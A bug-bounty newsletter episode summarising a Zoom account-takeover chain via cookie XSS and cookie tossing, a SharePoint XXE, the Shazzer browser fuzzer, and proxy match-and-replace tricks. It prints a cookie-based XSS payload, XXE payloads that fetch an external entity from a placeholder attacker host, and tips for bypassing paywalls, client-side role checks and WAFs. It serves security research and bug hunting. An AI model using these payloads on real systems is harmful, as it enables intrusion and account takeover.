[HackerNotes Ep. 76] Match & Replace - HTTP Proxies' Most Underrated Feature

HackerNotes is back with some tasty exploit writeups, HackerOne AWC news and some match & replace tips for your next bug hunt.

Hacker TLDR;

  • Zoom ATO: A very good writeup detailing a Zoom bug resulting in ATO was dropped - a quick TL;DR and some takeaways from this one:

    • Play around with cookie parsing logic - Where does the cookie end? How does the app respond to single quotes, double quotes, backslashes etc when handling cookies?

    • Cookie tossing - Abuse the domain and path flags from subdomains to set cookies for other subdomains and higher-level domains

    • Chaining gadgets - Understanding your target enough to chain multiple gadgets pays dividends. Other people found the cookie behaviour on Zoom previously but it was never exploited.

    • Switching OAuth response types - Switching response types can allow you to have some degree of control over how the OAuth material is returned in responses. This can be massively beneficial in an exploit chain, as it gives you more flexibility on where and how to read OAuth-related material.

    • Note your gadgets - With some creativity and enough gadgets you might be able to craft an impactful exploit chain.

    • Full writeup and POC video: https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html

  • SharePoint XXE: More stellar research from ZeroDayInitiative affecting SharePoint on-prem and cloud, resulting in an XXE:

  • Shazzer: A community-based browser fuzzing app made by Gareth Heyes. A goldmine for filter bypasses and weird browser behaviour:

  • Match & Replace: Check out tips below on how to use Match & Replace for:

    • Attack vector/threat model validation

    • Feature flags / Experiments / A/B Testing

    • Creating dynamic fuzzing wordlists

    • Client-side enforced RBAC

    • Storing payloads in match and replace

    • Header replacements

    • Replacing parts of JS files

HackerOne AWC

The HackerOne Ambassador World Cup (AWC) qualifiers have been completed, although there are still a few bugs left to triage. If you aren’t familiar with this competition, ambassadors and their teams of 20 from all around the world compete in various rounds across different targets and winning teams get invites to LHEs.

This blog https://www.hackerone.com/hackerone-community-blog/awc-faq describes the World Cup in more detail. As it currently stands, the stats are looking like the below:

As there are still a few bugs in the queue due to the crazy amount of submissions (1.7k) just from the first round alone, this could change the leaderboard a little bit. I competed myself and although it was incredibly fun to do in teams, one thing that seemed off is the fact there’s no dupe window. When you have around 800 hackers looking at the same targets for over a week with no dupe window, you can bet a lot of people duped (myself included).

Maybe that’s something HackerOne can improve on for future rounds! If you want to see live stats, you can check out the leaderboard here: https://leaderboards.hackerone.live/awc2024

Zoom ATO Writeup

If you want to check out a solid clientside exploit chain, this one is for you. There are many parts of this writeup: https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html

The TL;DR is there was a cookie-based XSS in Zoom which affected the CSP feature for Zoom. It was abused to set a cookie which reflected in the CSP nonce value for Zoom. This also touches on the way cookies are parsed - in this scenario if you set the cookie value: _zm_csp_script_nonce="test\\"' 'nonce-test' >alert(1)// "; it would be reflected in the CSP as content-security-policy: script-src 'nonce-test"' 'nonce-test' >alert(1)//

Next up we had cookie tossing. Cookie XSS is essentially self-XSS, so you need a few other gadgets to make it impactful. Cookie tossing allows you can use a subdomain to set cookies for a top-level domain (or other subdomain), which sends the cookie to all applicable domains. You can also force this cookie's priority over other cookies by setting a path which is more specific than others via the path attribute.

Take note of the cookie tossing for future gadgets, as it can be a good means of escalating XSS on lower-risk subdomains of your target.

This was then chained with ANOTHER gadget, a post-based XSS on an old subdomain. To escalate this for maximum impact, these gadgets were chained to achieve ATO via the OAuth login on Zoom via Frans Rosens OAuth Dirty Dancing techniques: https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/

The write-up is a good read and even includes a POC exploit video; we highly recommend reading it all; https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html

Takeaways:

  • Play around with cookie parsing logic - Where does the cookie end? How does it respond to single quotes, double quotes, backslashes etc. I think I’ll start fuzzing cookies more after this write-up.

  • Cookie tossing - Abuse the domain and path flags from subdomains to set cookies for other subdomains and higher-level domains

  • Chaining gadgets - Understanding your target enough to chain multiple gadgets pays dividends. Other people found the cookie behaviour on Zoom previously but it was never exploited.

  • Switching OAuth response types - Switching response types can allow you to have some degree of control over how the OAuth material is returned in responses. This can be massively beneficial in an exploit chain, as it gives you more flexibility on where and how to read OAuth-related material.

  • Farming gadgets - with some creativity you might be able to craft an exploit chain with enough of them.

Sharepoint XXE

If you’re currently in an internal role or ever have been in an internal role, the chances are SharePoint was the hub of truth for everything company-related - it’s guaranteed to be kicking around somewhere at almost every company.

This blog post from ZeroDayinitiaive drops some seriously good research that led to an XXE in SharePoint here: https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud This one affects SharePoint on-prem and cloud, which can be exploited by a low privilege user. The write-up details full source code analysis and the entire approach of how the bug was identified, so if that’s up your street it’s worth a read.

When exploiting an XXE, a typical payload to use might be something like this:

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY b SYSTEM "<http://attacker/poc.txt>">
]>
<r>&b;</r>

In the instance of Sharepoint, this threw a DTD processing error. However, some slight modifications and changing the payload to:

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY % sp SYSTEM "<http://attacker/poc.xml>">
%sp;
]>
<a>wat</a>

The parts to pay attention to here are:

  • Entity Declaration: This is the critical part where the external entity is defined. The %sp entity is defined to refer to an external system resource located at http://attacker/poc.xml.

  • EntityUsage: The %sp; entity is included, which means that whatever is in poc.xml at http://attacker/poc.xml will be processed and included in place of %sp;.

    <!ENTITY % sp SYSTEM "<http://attacker/poc.xml>">
    %sp;
    ]>
    

This resulted in an HTTP request to the attacker site, allowing an out-of-band XXE. A POC video walkthrough was also dropped on YouTube for this one:

If you want to exploit some SharePoint instances yourself, you can also find the POC here: https://github.com/W01fh4cker/CVE-2024-30043-XXE

Shazzer Browser Fuzzing

Anything Gareth Heyes makes is spot-on every time, and Shazzer is no exception. Shazzer is an app which essentially allows you to easily fuzz browser behaviour and share the results with the community. You can find Shazzer here: https://shazzer.co.uk/

How does it work exactly? Let’s say you want to find what properties are accessible from a sandboxed iFrame. You can either search for an existing vector created by another user or create your own, publish it, and test it across various browsers (Chrome, Firefox, and Safari) and check the differences between each browser.

This is an example from the properties accessible from a sandboxed iFrame:

You can quickly enumerate the properties and copy them over to the clipboard to carry on testing whatever you’re testing, pretty cool.

Or, if you want to determine what characters are allowed before the onerror event for a WAF bypass:

For most of the vectors, you can also check what the original template used was to determine the behaviour:

Shazzer Cheatsheets

A bunch of cheat sheets are available off the back of some of these test cases. If you’re trying to bypass some filtering or a WAF, this should be your go-to page. It includes all possible characters for a given vector and how to use it. For example:

So many of these exist from the vectors - be sure to bookmark this one as a quick and easy reference: https://shazzer.co.uk/vectors/cheat-sheets

Match & Replace Power

Match and replace sometimes doesn’t get the love it deserves and is sometimes forgotten about. This goes beyond mass changing ‘false’ to ‘true’, but to get the most bang for your buck you’ve got to have an understanding of the application you’re looking at.

If you spend time trying to determine how the frontend application is differentiating between users and what properties it is reading from requests from the backend, you’ll have a higher hit rate when replacing values and be able to craft more refined custom match and replace rules.

The pro to this is that you’ll also have a lot less chance of completely breaking the front end if you do a generic replace-all false → true rule.

Two ways to determine what properties are in use are by checking response parameters and values from your proxy history, or taking a more hands-on approach and using dev tools in your browser. With the browser approach, you can set breakpoints in JS, debug and view the stack to get a better idea of what is being used.

When it comes to actually matching and replacing a value once you’ve identified one, it's important to note that Caido and Burp have different ways of doing this in terms of how they are applied and to what scope. Make sure to fully understand the scoping in each when applying.

Here’s a breakdown of some hard-hitting areas to consider matching and replacing when you’re next hunting:

  • Attack vector/threat model validation: Can save a lot of time with match and replace - if you’re fuzzing and going down the path of building out an attack path but you aren’t entirely sure if it’s going to work, match and replacing a place holder for your payload can be a quick means of verifying if it worth carrying on with that attack path.

  • Feature flags / Experiments / A/B Testing: If you’re testing a SaaS app or an app which is being heavily developed, there’s a high chance that feature flags are being used to hide not yet released functionality. Finding one of these flags can drastically increase your attack surface if you enable it, so make sure to check for these types of flags. More on specific types of this shortly.

  • Creating dynamic fuzzing wordlist: Implementing placeholders in your fuzz lists such as {domain}, {email}, {ip} and matching and replacing these can massively help when fuzzing. Instead of manually updating parts of the payload to make them applicable, you can simply match and replace your pre-defined placeholder.

  • Client-side enforced RBAC: Determine the source of truth for the front end - is it an API response from the /user endpoint? Can you find an isPaid or isSub parameter set to false? This can be abused to bypass:

    • Paywalls (subscriptionType: basic-> premium)

    • Clientside RBAC: Replacing properties such as isAdmin

  • Storing payloads in match and replace: If you have a massive app, or if you’re spraying the same payload in lots of inputs, having a placeholder such as xsspayload which replaces your XSS payload can be a nice timesaver.

  • Header replacements: This one is quite a far-reaching one as headers can be used to enforce or determine a lot of things. Some common ones include:

    • Host header modification: Match host:ipaddr replace host:site.com to access VHosts

    • X-Forwarded-For: 127.0.0.1 : Commonly used by proxies to differentiate the origin host of a request but can be passed from the client side to the backend directly if the proxy isn’t configured properly.

  • Replacing part of JS files: Replacing Webpacked/Minified JS, browsers often try to expand and make the JS human readable but this can sometimes break any breakpoints you set in the JS if that expansion hasn’t been done properly. Match and replace rule to remove the source map to stop this from happening but you have to deal with the minified source.

Lots of match & replace gold. If you play around with enough targets, you’ll almost certainly see some benefit from the above techniques.

As always, keep hacking!